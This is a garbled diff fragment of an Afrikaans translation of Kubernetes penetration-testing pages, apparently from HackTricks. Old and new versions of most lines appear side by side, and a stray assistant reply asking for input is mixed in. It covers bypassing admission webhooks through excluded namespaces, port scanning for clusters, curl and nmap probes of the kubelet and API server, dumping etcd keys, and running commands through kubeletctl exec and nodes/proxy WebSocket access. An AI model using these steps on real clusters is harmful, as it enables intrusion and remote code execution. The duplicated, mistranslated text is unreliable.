$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
Ek verstaan nie die inhoud om te identifiseer nie. Stuur asseblief die spesifieke output wat jy wil hê ek moet identifiseer.
Om die volgende uitvoer te identifiseer:
```yaml
namespaceSelector:
matchExpressions:
@@ -109,22 +130,22 @@ values:
- kube-system
- MYAPP
```
Hier, `kubernetes.io/metadata.name` verwys na die namespace name label. Namespaces met name in die `values` lys sal van die policy uitgesluit word:
Hier verwys `kubernetes.io/metadata.name` na die namespace-naam etiket. Namespaces met name in die `values`-lys sal van die policy uitgesluit word:
Kontroleer namespaces se bestaan. Soms, weens automation of misconfiguration, is sekere namespaces dalk nie geskep nie. As jy toestemming het om namespace te skep, kan jy n namespace skep met n naam in die `values` lys en policies sal nie op jou nuwe namespace van toepassing wees nie.
Kontroleer namespaces se bestaan. Soms, as gevolg van automation of misconfiguration, is sommige namespaces moontlik nie geskep nie. As jy toestemming het om namespace te skep, kan jy 'n namespace skep met 'n naam in die `values`-lys en policies sal nie op jou nuwe namespace van toepassing wees nie.
Die doel van hierdie aanval is om **misconfiguration** binne VWC uit te buit om operator restrictions te omseil en dan jou privileges met ander tegnieke te verhoog
Die doel van hierdie aanval is om **misconfiguration** binne VWC te misbruik om operator beperkings te omseil en dan jou privileges met ander tegnieke te verhoog
Ander algemene bypass- of abuse-patrone:
- n `objectSelector` wat gebruikers toelaat om n opt-out label by hul eie objects te voeg.
- `failurePolicy: Ignore` op security-critical validation, veral wanneer die webhook Service geen endpoints het nie of networking onbetroubaar is.
- 'n `objectSelector` wat gebruikers toelaat om 'n opt-out label by hul eie objects te voeg.
- `failurePolicy: Ignore` op sekuriteitskritieke validation, veral wanneer die webhook Service geen endpoints het of onbetroubare networking gebruik.
- Policy engine exceptions vir users, groups, service accounts, namespaces, of roles wat wyer is as bedoel.
- Ontbrekende dekking vir workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, of update operations.
- Ontbrekende coverage vir workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, of update operations.
- Write access tot `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies, of exception resources.
- n Kwaadwillige mutating webhook wat containers injeekteer, images verander, secrets mount, tolerations byvoeg, of service account selection verander voor validation.
- 'n Kwaadwillige mutating webhook wat containers invoeg, images verander, secrets mount, tolerations byvoeg, of service account selection verander voor validation.
Onthou dat admission slegs requests beskerm wat deur die API server admission chain gaan. Static Pods, node-local runtime socket access, direkte kubelet abuse, en direkte etcd access is verskillende trust paths en vereis aparte hardening en monitoring.
Onthou dat admission slegs requests beskerm wat deur die API server admission chain gaan. Static Pods, node-local runtime socket access, direkte kubelet abuse, en direkte etcd access is verskillende trust paths en benodig afsonderlike hardening en monitoring.
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
@@ -2,25 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes gebruik verskeie **spesifieke netwerkdienste** wat jy dalk **blootgestel aan die Internet** of in n **interne netwerk** kan vind sodra jy een pod gekompromitteer het.
Kubernetes gebruik verskeie **spesifieke netwerkdienste** wat jy dalk **blootgestel aan die Internet** of in n **interne netwerk nadat jy een pod gekompromitteer het** kan vind.
## Finding exposed pods with OSINT
Een manier kan wees om te soek vir `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) om subdomeine te vind wat met kubernetes verband hou. n Ander manier kan wees om `"k8s.%.com"` in github te soek en te soek vir **YAML files** wat die string bevat.
Useful external recon signals to correlate before scanning:
Nuttige eksterne recon-seine om te korreleer voor scanning:
- DNS- en certificate transparency-name wat `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, of streekname bevat.
- DNS en certificate transparency-name wat `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, of streekname bevat.
- Cloud load balancer-name, CNAMEs, tags, en provider hostnames wat n blootgestelde application of platform UI terug na n cluster kan koppel.
- Publieke repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, en dokumentasie wat kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, of dashboard settings lek.
- Managed Kubernetes inventory, wanneer cloud credentials in scope is: EKS endpoint public/private access en publieke CIDRs, GKE public/private control-plane settings en authorized networks, en AKS private cluster/API server authorized IP settings.
- Blootgestelde platform tools rondom die cluster soos Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, en ingress-controller admin- of metrics-endpoints.
- Public repositories, CI logs, Helm values, Terraform state, gerenderde manifests, container images, en documentation wat kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, of dashboard settings leak.
- Managed Kubernetes inventory, wanneer cloud credentials binne scope is: EKS endpoint public/private access en public CIDRs, GKE public/private control-plane settings en authorized networks, en AKS private cluster/API server authorized IP settings.
- Blootgestelde platform tools rondom die cluster soos Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, en ingress-controller admin of metrics endpoints.
Behandel dit as attribution- en prioritization-clues. n Publieke Ingress application is normaal in baie clusters, terwyl blootgestelde kubelet, etcd, dashboard, CI/CD deploy control, of gelekte kubeconfig-materiaal baie hoër geprioritiseer moet word.
Behandel hierdie as attribution- en prioritisering-aanwysers. n Publieke Ingress application is normaal in baie clusters, terwyl blootgestelde kubelet, etcd, dashboard, CI/CD deploy control, of gelek kubeconfig-material veel hoër geprioritiseer moet word.
## How Kubernetes Exposes Services
Dit kan nuttig vir jou wees om te verstaan hoe Kubernetes services **publiek blootstel** om hulle te vind:
Dit kan vir jou nuttig wees om te verstaan hoe Kubernetes services publiek kan **blootstel** om hulle te vind:
{{#ref}}
../exposing-services-in-kubernetes.md
@@ -28,23 +28,23 @@ Dit kan nuttig vir jou wees om te verstaan hoe Kubernetes services **publiek blo
## Finding Exposed pods via port scanning
Die volgende poorte kan in n Kubernetes cluster oop wees:
Die volgende ports mag oop wees in n Kubernetes cluster:
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP | kube-apiserver | Kubernetes API-poort |
| 443/TCP | kube-apiserver | Kubernetes API port |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API-poort |
| 8443/TCP | kube-apiserver | Minikube API-poort |
| 8080/TCP | kube-apiserver | Onveilige API-poort |
| 10250/TCP | kubelet | HTTPS API wat volle mode access toelaat |
| 10255/TCP | kubelet | Ongesertifiseerde read-only HTTP-poort: pods, running pods en node state |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy na die services |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
### Nmap
@@ -53,7 +53,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
```
### Kube-apiserver
Dit is die **API Kubernetes-service** waarmee die administrateurs gewoonlik praat met behulp van die tool **`kubectl`**.
Dit is die **API Kubernetes diens** waarmee die administrateurs gewoonlik praat met behulp van die tool **`kubectl`**.
**Algemene poorte: 6443 en 443**, maar ook 8443 in minikube en 8080 as insecure.
```bash
@@ -61,7 +61,7 @@ curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Kyk na die volgende bladsy om te leer hoe om sensitiewe data te verkry en sensitiewe aksies uit te voer deur met hierdie diens te praat:**
**Kyk na die volgende page om te leer hoe om sensitiewe data te verkry en sensitiewe aksies uit te voer deur met hierdie service te praat:**
{{#ref}}
../kubernetes-enumeration.md
@@ -69,16 +69,16 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
Hierdie diens **loop op elke node van die cluster**. Dit is die diens wat die pods binne die **node** sal **beheer**. Dit praat met die **kube-apiserver**.
Hierdie service **run in every node of the cluster**. Dit is die service wat die pods binne die **node** sal **control**. Dit praat met die **kube-apiserver**.
As jy hierdie diens exposed vind, het jy moontlik n **unauthenticated RCE** gevind.
As jy hierdie service exposed vind, het jy moontlik n **unauthenticated RCE** gevind.
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
As die response `Unauthorized` is, dan vereis dit authentication.
As die antwoord `Unauthorized` is, dan vereis dit authentication.
As jy nodes kan lys, kan jy n lys van kubelets endpoints kry met:
```bash
@@ -89,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (Slegs leesbaar)
#### kubelet (Read only)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
@@ -104,7 +104,7 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
Jy kan hierdie service misbruik om privileges binne Kubernetes te eskaleer:
Jy kon hierdie service misbruik om privileges binne Kubernetes te eskaleer:
### cAdvisor
@@ -114,15 +114,15 @@ curl -k https://<IP Address>:4194
```
### NodePort
Wanneer n poort via n **NodePort** op al die nodes blootgestel word, word dieselfde poort op al die nodes oopgemaak en die verkeer na die verklaarde **Service** geproxify. By verstek sal hierdie poort in die **reeks 30000-32767** wees. Dus kan nuwe, ongekontroleerde services via daardie poorte toeganklik wees.
Wanneer n poort via n **NodePort** op al die nodes blootgestel word, word dieselfde poort op al die nodes oopgemaak en die verkeer na die verklaarde **Service** geproksie. By verstek sal hierdie poort in die **reeks 30000-32767** wees. Daarom kan nuwe ongekontroleerde services via daardie poorte toeganklik wees.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh and proxy-oppervlakke
### Service mesh en proxy-oppervlakke
Clusters wat **Istio, Linkerd, Cilium service mesh, of Envoy-based gateways** gebruik, voeg nog 'n service-laag by om te enumerate. 'n mesh kan mTLS, workload identity, L7 routing, authorization policy, telemetry, en gateway/egress controls verskaf, maar dit beskerm slegs traffic wat werklik by die mesh ingeskryf en onderskep word.
Clusters wat **Istio, Linkerd, Cilium service mesh, of Envoy-based gateways** gebruik, voeg nog 'n dienslaag by om te enumereer. 'n mesh kan mTLS, workload identity, L7 routing, authorization policy, telemetry, en gateway/egress controls bied, maar dit beskerm slegs verkeer wat werklik in die mesh geregistreer en onderskep word.
Nuttige checks vanaf Kubernetes access:
Nuttige kontroles vanaf Kubernetes access:
```bash
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
@@ -130,46 +130,56 @@ kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
```
Review:
Oorsig:
- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled.
- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources.
- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces.
- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points.
- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly.
- Namespaces of workloads wat uit injection ge-opt-out het, loop steeds sonder n proxy, of is geskep voordat injection geaktiveer is.
- mTLS-modus. Permissive migration modes kan steeds plaintext van unmeshed bronne aanvaar.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, en egress resources.
- Linkerd policy resources, identity, Server/authorization objects, en blootgestelde `linkerd-viz`, tap, of metrics oppervlaktes.
- Cilium service mesh en Gateway API resources, Hubble visibility, Cilium policies, en Envoy integration points.
- Envoy admin, config dump, stats, metrics, tracing, dashboard, en debug endpoints. Hierdie kan routes, upstreams, certificates, identity, en traffic state leak as dit te wyd blootgestel word.
Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route.
Moenie service mesh as n plaasvervanger vir Kubernetes RBAC of NetworkPolicies beskou nie. n Mesh policy kan n HTTP request blokkeer, terwyl n unmeshed Pod, skipped port, direkte Pod IP path, gateway, egress proxy, of ontbrekende NetworkPolicy steeds n praktiese roete laat.
## Vulnerable Misconfigurations
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
Anonymous access tot **kube-apiserver resource APIs should not be allowed**. Health endpoints soos `/livez`, `/readyz`, en `/healthz` kan doelbewus bereikbaar wees, veral wanneer die API server `AuthenticationConfiguration` gebruik om anonymous requests tot spesifieke paths te scope. Beskou health- of version responses as reachability-bewys; die kritieke probleem is n `200` response vir werklike resource APIs soos namespaces, Secrets, Pods, RBAC objects, metrics, logs, of proxy subresources sonder geldige credentials.
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
Nuttige checks:
```bash
APISERVER='https://<api-server>:6443'
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
```
As resource APIs `403` terugstuur, het die API-bediener moontlik die versoek as `system:anonymous` geklassifiseer, maar authorisation het dit geblokkeer. As resource APIs `200` sonder credentials terugstuur, soek vir RoleBindings of ClusterRoleBindings na `system:anonymous` of `system:unauthenticated`, permissive authorizer-chain configuration, of n front-door authentication mistake.
### **Checking for ETCD Anonymous Access**
Die ETCD stoor die cluster secrets, configuration files en meer **sensitiewe data**. By **default**, kan die ETCD **nie** **anoniem** verkry word nie, maar dit is altyd goed om te kyk.
Die ETCD stoor die cluster secrets, configuration files en meer **sensitive data**. By **default**, kan die ETCD **nie** **anonymously** verkry word nie, maar dit is altyd goed om te check.
As die ETCD anoniem verkry kan word, moet jy dalk die [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** gebruik. Die volgende command sal al die keys wat gestoor is, kry:
As die ETCD **anonymously** verkry kan word, moet jy dalk die [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** gebruik. Die volgende command sal al die keys wat gestoor is kry:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
Die [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) verduidelik dat by **default anonymous acce**ss to the service **toegelaat word:**
Die [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) verduidelik dat **by default anonymous acce**ss to the service **toegelaat word:**
> Aktiveer anonymous requests na die Kubelet server. Requests wat nie deur n ander authentication method verwerp word nie, word as anonymous requests hanteer. Anonymous requests het n username van `system:anonymous`, en n group name van `system:unauthenticated`
> Stel anonieme requests na die Kubelet server in staat. Requests wat nie deur n ander authentication method verwerp word nie, word as anonieme requests hanteer. Anonieme requests het n username van `system:anonymous`, en n group name van `system:unauthenticated`
Om beter te verstaan hoe die **authentication and authorization van die Kubelet API werk** kyk na hierdie bladsy:
Om beter te verstaan hoe die **authentication and authorization van die Kubelet API werk** kyk na hierdie page:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
Die **Kubelet** service **API is not documented**, maar die source code kan hier gevind word en om die exposed endpoints te vind is net so maklik soos **running**:
Die **Kubelet** service **API is not documented**, maar die source code kan hier gevind word en die exposed endpoints vind is so maklik soos **running**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -183,11 +193,11 @@ Path("/runningpods/").
```
Almal van hulle klink interessant.
Jy kan die [**Kubeletctl**](https://github.com/cyberark/kubeletctl) instrument gebruik om met Kubelets en hul eindpunte te kommunikeer.
Jy kan die [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool gebruik om met Kubelets en hul endpoints te interaksie.
#### /pods
Hierdie eindpunt lys pods en hul containers:
Hierdie endpoint lys pods en hul containers:
```bash
kubeletctl pods
```
@@ -198,13 +208,13 @@ Hierdie endpoint laat toe om code binne enige container baie maklik uit te voer:
kubeletctl exec [command]
```
> [!NOTE]
> Om hierdie aanval te vermy, moet die _**kubelet**_ diens met `--anonymous-auth false` uitgevoer word en die diens moet op netwerkvlak gesegregeer word.
> Om hierdie aanval te vermy, moet die _**kubelet**_ diens uitgevoer word met `--anonymous-auth false` en die diens moet op die netwerkvlak gesegregeer word.
### **Kontroleer Kubelet (Read Only Port) Inligtingsblootstelling**
Wanneer 'n **kubelet read-only port** blootgestel is, word dit moontlik vir inligting om deur ongemagtigde partye van die API af opgehaal te word. Die blootstelling van hierdie poort kan lei tot die bekendmaking van verskeie **cluster configuration elements**. Alhoewel die inligting, insluitend **pod names, locations of internal files, and other configurations**, dalk nie krities is nie, hou die blootstelling daarvan steeds 'n sekuriteitsrisiko in en moet dit vermy word.
Wanneer 'n **kubelet read-only port** blootgestel word, word dit moontlik vir inligting om uit die API deur ongemagtigde partye herwin te word. Die blootstelling van hierdie poort kan lei tot die openbaarmaking van verskeie **cluster configuration elements**. Alhoewel die inligting, insluitend **pod name, liggings van interne lêers, en ander configurations**, moontlik nie krities is nie, hou die blootstelling daarvan steeds 'n sekuriteitsrisiko in en moet dit vermy word.
'n Voorbeeld van hoe hierdie kwesbaarheid uitgebuit kan word, behels dat 'n afgeleë aanvaller 'n spesifieke URL besoek. Deur na `http://<external-IP>:10255/pods` te navigeer, kan die aanvaller moontlik sensitiewe inligting van die kubelet af ophaal:
'n Voorbeeld van hoe hierdie kwesbaarheid uitgebuit kan word, behels 'n afgeleë aanvaller wat toegang tot 'n spesifieke URL verkry. Deur na `http://<external-IP>:10255/pods` te gaan, kan die aanvaller potensieel sensitiewe inligting vanaf die kubelet herwin:
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
@@ -1,25 +1,25 @@
# Kubelet Verifikasie & Magtiging
# Kubelet Authentication & Authorization
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet Verifikasie <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**Vanaf die dokumentasie:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**Van die docs:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Standaard word versoeke aan die kubelet se HTTPS-endpunt wat nie deur ander ingestelde verifikasiemetodes verwerp word nie, as anonieme versoeke behandel, en gegee 'n **gebruikersnaam van `system:anonymous`** en 'n **groep van `system:unauthenticated`**.
By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**.
Die **3** verifikasie **metodes** is:
Die **3** authentication **methods** is:
- **Anoniem** (verstek): Stel die parameter **`--anonymous-auth=true` of die konfigurasie:**
- **Anonymous** (default): Gebruik stel die parameter **`--anonymous-auth=true`** of die config:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Dit sal die kubectl **API bearer tokens** as magtiging **inskakel** (enige geldige token sal geldig wees). Laat dit toe met:
- verseker dat die `authentication.k8s.io/v1beta1` API-groep in die API-server geaktiveer is
- begin die kubelet met die **`--authentication-token-webhook`** en **`--kubeconfig`** vlae of gebruik die volgende instelling:
- **Webhook**: Dit sal die kubectl **API bearer tokens** as authorization **aktiveer** (enige geldige token sal geldig wees). Laat dit toe met:
- maak seker die `authentication.k8s.io/v1beta1` API group is in die API server geaktiveer
- begin die kubelet met die **`--authentication-token-webhook`** en **`--kubeconfig`** flags of gebruik die volgende setting:
```json
"authentication": {
"webhook": {
@@ -28,11 +28,11 @@ Die **3** verifikasie **metodes** is:
},
```
> [!NOTE]
> Die kubelet roep die **`TokenReview` API** op die geconfigureerde API-server aan om **gebruikerinligting te bepaal** uit bearer tokens
>
- **X509 client certificates:** Laat toe om via X509 kliëntsertifikate te verifieer
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
> Die kubelet roep die **`TokenReview` API** op die gekonfigureerde API server om **user information te bepaal** vanaf bearer tokens
- **X509 client certificates:** Laat toe om te authenticate via X509 client certs
- sien die [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) vir meer details
- start die kubelet met die `--client-ca-file` vlag, en verskaf n CA bundle om client certificates mee te verify. Of met die config:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@ Die **3** verifikasie **metodes** is:
}
}
```
## Kubelet-magtiging <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Enige versoek wat suksesvol geauthentiseer is (insluitend 'n anonieme versoek) **word daarna gemagtig**. Die **verstek** magtigingsmodus is **`AlwaysAllow`**, wat **alle versoeke toelaat**.
Enige versoek wat suksesvol geverifieer is (insluitend 'n anonieme versoek) **word dan gemagtig**. Die **verstek** magtigingsmodus is **`AlwaysAllow`**, wat **alle versoeke toelaat**.
Die ander moontlike waarde is egter **`webhook`** (wat jy **meestal daar sal vind**). Hierdie modus sal **die toestemmings van die geauthentiseerde gebruiker nagaan** om 'n aksie toe te laat of te weier.
Die ander moontlike waarde is egter **`webhook`** (wat is wat jy **meestal daar buite sal vind**). Hierdie modus sal die **toestemmings van die geverifieerde gebruiker** nagaan om 'n aksie toe te laat of te weier.
> [!WARNING]
> Neem kennis dat selfs al is die **anonieme authentisering aangeskakel**, het die **anonieme toegang** moontlik **geen bevoegdhede** om enige aksie uit te voer nie.
> Let daarop dat selfs al is **anonieme verifikasie geaktiveer** die **anonieme toegang** dalk **geen toestemmings** het om enige aksie uit te voer nie.
Die magtiging via webhook kan gekonfigureer word met die **param `--authorization-mode=Webhook`** of via die konfigurasielêer met:
Die magtiging via webhook kan gekonfigureer word met die **param `--authorization-mode=Webhook`** of via die config file met:
```json
"authorization": {
"mode": "Webhook",
@@ -59,21 +59,21 @@ Die magtiging via webhook kan gekonfigureer word met die **param `--authorizatio
}
},
```
Die kubelet roep die **`SubjectAccessReview`** API op die gekonfigureerde API-server om te **bepaal** of elke versoek **gemagtig** is.
Die kubelet roep die **`SubjectAccessReview`** API op die gekonfigureerde API server aan om te **bepaal** of elke versoek **geautoriseer** is.
Die kubelet magtig API-versoeke deur dieselfde [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) benadering as die apiserver te gebruik:
Die kubelet autoriseer API-versoeke deur dieselfde [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) benadering as die apiserver te gebruik:
- **Aksie**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| --------- | --------- ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- Die **resource** wat met die Kubelet api praat is **altyd** **nodes** en die **subresource** word **bepaal** vanaf die inkomende versoek se pad:
- Die **resource** wat met die Kubelet api praat is **altyd** **nodes** en **subresource** word **bepaal** uit die inkomende versoek se path:
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
@@ -81,23 +81,38 @@ Die kubelet magtig API-versoeke deur dieselfde [request attributes](https://kube
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| /checkpoint/\* | nodes | checkpoint |
| _all others_ | nodes | proxy |
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` val in die standaard **proxy** subresource en word gemagtig deur die aanvanklike HTTP **GET** handdruk. n Principal met slegs `nodes/proxy` **GET** kan steeds containers exec as dit direk met `https://<node_ip>:10250` oor WebSockets verbind. Sien die [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) vir besonderhede.
In moderne clusters is fine-grained kubelet authorization by default geaktiveer. Kubernetes v1.36 het dit stabiel gemaak: kubelet check eerste meer spesifieke subresources vir paths soos `/pods`, `/runningPods`, `/healthz`, en `/configz` voordat dit terugval na `nodes/proxy` vir backward compatibility.
Byvoorbeeld, die volgende versoek het probeer toegang verkry tot die pods-inligting van kubelet sonder toestemming:
| Kubelet API | preferred subresource | fallback |
| ----------- | --------------------- | -------- |
| /pods | nodes/pods | nodes/proxy |
| /runningPods/ | nodes/pods | nodes/proxy |
| /healthz | nodes/healthz | nodes/proxy |
| /configz | nodes/configz | nodes/proxy |
Gebruik hierdie smaller subresources vir monitoring en diagnostics wanneer moontlik. Vermy die toeken van breë `nodes/proxy` vir gewone metrics, stats, health, pod-listing, of config review omdat `nodes/proxy` steeds hoër-impak kubelet APIs dek.
> [!NOTE]
> WebSocket-gebaseerde `/exec`, `/run`, `/attach`, en `/portforward` val in die default **proxy** subresource en word geautoriseer met die aanvanklike HTTP **GET** handshake. `n Principal met slegs `nodes/proxy` **GET** kan steeds containers exec as dit direk aan `https://<node_ip>:10250` oor WebSockets koppel. Sien die [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) vir details.
Die kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) is nog `n sensitiewe kubelet surface. Kubernetes v1.30 het container checkpointing beta gemaak en by default geaktiveer, maar `n request hang steeds af van kubelet authorization en runtime support soos CRI-O of containerd met checkpoint/CRIU capability. Suksesvolle checkpoints word onder die kubelet root directory geskryf, by default `/var/lib/kubelet/checkpoints`, en kan process memory met tokens, keys, of application secrets bevat. Restrict `nodes/checkpoint`, disable die ou read-only port, limit direct kubelet network reachability, en monitor of clean checkpoint archives as die feature doelbewus gebruik word.
Byvoorbeeld, die volgende request het probeer om toegang te kry tot die pods info van kubelet sonder permission:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Ons het 'n **Forbidden** gekry, dus het die request **passed the Authentication check**. As dit nie so was nie, sou ons net 'n `Unauthorised` boodskap gekry het.
- Ons het n **Forbidden** gekry, so die request het die **Authentication**-check geslaag. As dit nie het nie, sou ons net n `Unauthorised`-boodskap gekry het.
- Ons kan die **username** sien (in hierdie geval van die token)
- Kontroleer hoe die **resource** **nodes** was en die **subresource** **proxy** (wat sin maak met die vorige inligting)
- Kyk hoe die **resource** **nodes** was en die **subresource** **proxy** (wat sin maak met die vorige inligting)
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}